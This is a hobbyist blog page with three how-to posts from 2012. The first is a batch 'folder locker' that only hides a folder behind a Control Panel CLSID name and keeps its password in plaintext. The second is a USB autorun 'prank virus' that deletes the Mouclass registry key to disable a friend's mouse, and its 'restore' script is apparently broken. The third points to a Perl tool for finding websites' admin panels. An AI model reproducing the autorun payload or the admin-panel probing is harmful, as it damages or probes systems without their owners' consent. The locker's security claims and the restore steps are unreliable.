Showing posts with label Source Code. Show all posts
Showing posts with label Source Code. Show all posts

Wednesday, 25 January 2012

How to lock a Folder without software

We all know about the many folder lock software which are available on huge internet market. But they all are not much successful because of memory management but also if any of your friend just uninstall the soft then your all files will be open or will be currept.
Todays i am going to share a creation which can hide a folder without software.
Now whats new in this.
Ok let read out the features :P

Features

  • Free of Cost
  • Only a simple script it is
  • fast access
  • The special thing is, if you lock a folder with this and make the files hide. Then even DOS will be failed to seach your files ;)
Yeah i know the last feature is much more intersting.
Now how to use this creation.

Steps:

1. Open notepad and paste the following code in it.
2. Change the password in code.

On following ( Type your password here )
Enter your password here.

3. Save the notepad as: Locker.bat
4. At first time start it will create folder with Locker automatically for u.
5. After creation of Locker folder again click on the Locker.bat
6. It will ask.press Y then Locker folder will be disappeared.
7. Again to get it click on locker.bat. and give ur password u will get the folder again.


Code:

cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020- 3AEA-1069- A2DD-08002B30309 D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020- 3AEA-1069- A2DD-08002B30309 D}"
attrib +h +s "Control Panel.{21EC2020- 3AEA-1069- A2DD-08002B30309 D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020- 3AEA-1069- A2DD-08002B30309 D}"
ren "Control Panel.{21EC2020- 3AEA-1069- A2DD-08002B30309 D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End
11/19/07
*Vicky verma
See the 13th line from below.
It is as follow

if NOT %pass%==type your password here goto FAIL

Enjoy Friends keep yourself updated for more this type of creations :)


Saturday, 21 January 2012

Disable your Friend’s Mouse By Just Inserting A USB In His/Her PC



Do you wanna Lock your friends mouse by just inserting a  small USB ?
Ok let me teach you how to do this prank, well my this creation is all about some windows coding.
But their is no need to learn about programming languages for that.


To use this trick first you have to create a Batch file in notepad by saving it with the .bat extension.


Copy/Paste the below code in notepad and save it as filename.bat, Here filename could be any name but the extension should be .bat.

set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4 



Now you have create a autorun.inf file to run the above batch file automatically by just inserting the USB. Here is the autorun fil. Copy paste is code in the in the new Notepad window. 


[autorun]
Open=filename.bat
Action=Mouse Disable 


Save this file as autorun.inf.



Now you have created a virus that will disable the mouse. Copy both of the file in your or your friend’s USB Drive and have fun...


To re-enable the mouse, simply create another batch file with following script:

set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 1

Save this file as .bat extension and run this batch file by just double clicking on it.
Enjoy this prank and share it with your friends :D



Saturday, 14 January 2012

Admin finder perl script


The things you need 
1. Active perl (click here to download)
2. admin finder script (click here to download )

Install the active perl and extract the archive in to “c:\perl\bin” now go to start > run and type CMD andhit enter now type “cd c:\perl\bin” and hit enter after that paste the perl script name  “admin_CP_finder.pl ” and just hit enter now enter the site which you want to find admin penal and hit enter (I have hide my site) and now enter the source code of the website (my site have asp source codeso I have added 2) and just hit enter. you will found the admin penal.
Happy hacking.